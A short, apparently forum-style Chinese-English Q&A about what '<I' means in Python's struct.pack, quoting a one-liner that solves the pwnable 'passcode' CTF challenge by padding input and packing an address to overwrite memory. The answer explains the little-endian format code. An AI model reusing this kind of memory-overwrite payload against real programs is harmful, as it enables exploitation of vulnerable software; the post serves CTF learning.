什么是内联 python 代码中的“<I”

What is "<I" in inline python code

当我在 pwnable(密码)上进行挑战时,我遇到了这个问题。 我找到了解决方案:

(python -c 'import struct;print "\x41"*(96)+struct.pack("<I",0x0804a018)+"134514147"' 2>/dev/null) | ./passcode

这个 < I 部分是一个格式字符串,表示 pack 对作为第二个参数给出的值使用小端字节序无符号整数表示。 您可以在包的 documentation 中找到所有这些东西。